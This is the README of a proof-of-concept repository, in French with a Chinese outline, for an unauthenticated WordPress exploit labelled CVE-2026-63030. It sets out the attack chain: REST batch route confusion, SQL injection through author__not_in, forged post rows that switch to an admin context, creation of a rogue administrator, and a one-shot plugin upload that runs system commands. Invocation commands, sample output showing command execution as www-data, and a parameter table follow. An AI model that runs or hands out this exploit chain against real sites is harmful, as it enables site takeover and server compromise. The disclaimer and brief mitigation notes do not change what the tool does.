
WordPress Exploit RCE non autorisé | CVE-2026-63030
PoC complet d'une chaîne d'exploitation menant à la création non authentifiée d'un administrateur → exécution de code à distance (RCE) via confusion de routage batch + injection SQL dans l'API REST de WordPress.
Réservé aux tests de sécurité autorisés, à la reproduction de vulnérabilités et à la recherche. Interdit sur des cibles non autorisées.
| Élément | Description |
|---|---|
| CVE | CVE-2026-63030 |
| Composant | WordPress Core REST API (/batch/v1) |
| Versions affectées | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 (selon l'annonce officielle) |
| Prérequis d'attaque | La cible active le batch de l'API REST ; le site dispose d'au moins un article ou une page publié |
| Exigence de privilèges | Aucune authentification requise (Pre-Auth) |
| Impact | Création d'un compte administrateur, puis téléversement d'un plugin pour obtenir une RCE |
REST batch 路由混淆
→ author__not_in SQL 注入
→ UNION 伪造 WP_Post / oEmbed cache / Customizer changeset
→ Customizer 发布时切换为已有管理员上下文
→ REST /wp/v2/users 创建新管理员
→ 后台上传一次性插件
→ 执行系统命令
Le cœur du problème n'est pas l'« écriture en base par empilement », mais :
serve_batch_request_v1() ne synchronisent pas les index $matches / $validation, ce qui provoque une confusion de route.author_exclude entre dans author__not_in de WP_Query, est concaténée dans NOT IN (...), et constitue une injection SQL.UNION SELECT, une ligne complète de wp_posts est falsifiée pour déclencher la logique oEmbed / Customizer et basculer le contexte utilisateur courant vers un administrateur existant.proc_open / passthru / system / shell_exec / exec / popen selon le cas)disable_functions désactive toutes les fonctions d'exécution de commandes, la création de l'administrateur peut toujours réussir, mais l'étape RCE échoueraCVE-2026-63030/
├── exp.py # Script d'exploitation complet (un seul fichier, zéro dépendance)
└── README.md # Cette documentation
id par défaut)python3 exp.py --url http://192.168.1.10:8080/
python3 exp.py --url http://192.168.199.134:9005/ --username mht --password 'mht666' --email [email protected] --command 'id' --timeout 60
[*] Creating administrator via SQLi -> customizer bridge...
[+] Generated administrator: labadmin
[*] Password: S3cure!pass
[*] Email: [email protected]
[*] Logging in as generated administrator...
[+] Authenticated.
[*] Uploading one-shot command plugin...
[*] Plugin path: http://192.168.1.10:8080/wp-content/plugins/lab_wp2_cmd_xxxxxxxx/lab_wp2_cmd_xxxxxxxx.php
[*] Executing command: id
[+] command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[via: proc_open]
[*] Deleting generated administrator...
[+] Generated administrator removed.
[*] Cleaning up temporary plugin...
[+] Temporary plugin removed.
À la fin, le script tente de :
En cas d'échec en cours de route, procédez à un nettoyage manuel à l'aide des identifiants affichés dans la sortie.
has been disabled for security reasons apparaît, cela signifie que disable_functions a désactivé la fonction concernée. Le PoC essaie successivement plusieurs méthodes d'exécution ; si toutes sont désactivées, la RCE n'est pas disponible, mais la phase de création de l'administrateur peut encore aboutir.wp-admin/users.php et wp-content/plugins/./batch/v1disable_functions ainsi qu'un utilisateur web aux privilèges minimaux afin de réduire l'impact d'une RCELe code de ce dépôt est destiné uniquement à la recherche en sécurité et à la reproduction autorisée de vulnérabilités. L'utilisateur est tenu de se conformer aux lois locales et au périmètre d'autorisation du système cible. L'auteur décline toute responsabilité en cas d'utilisation abusive.
| Paramètre | Requis | Valeur par défaut | Description |
|---|
--url | Oui | Aucun | URL racine de la cible WordPress |
--username | Non | wp2_<hex> | Nom d'utilisateur de l'administrateur à créer |
--password | Non | Wp2!<random> | Mot de passe de l'administrateur à créer |
--email | Non | <username>@wp2shell.invalid | Adresse e-mail de l'administrateur à créer |
--command / -c | Non | id | Commande exécutée via le plugin à usage unique |
--timeout | Non | 60 | Délai d'expiration HTTP par requête (secondes) |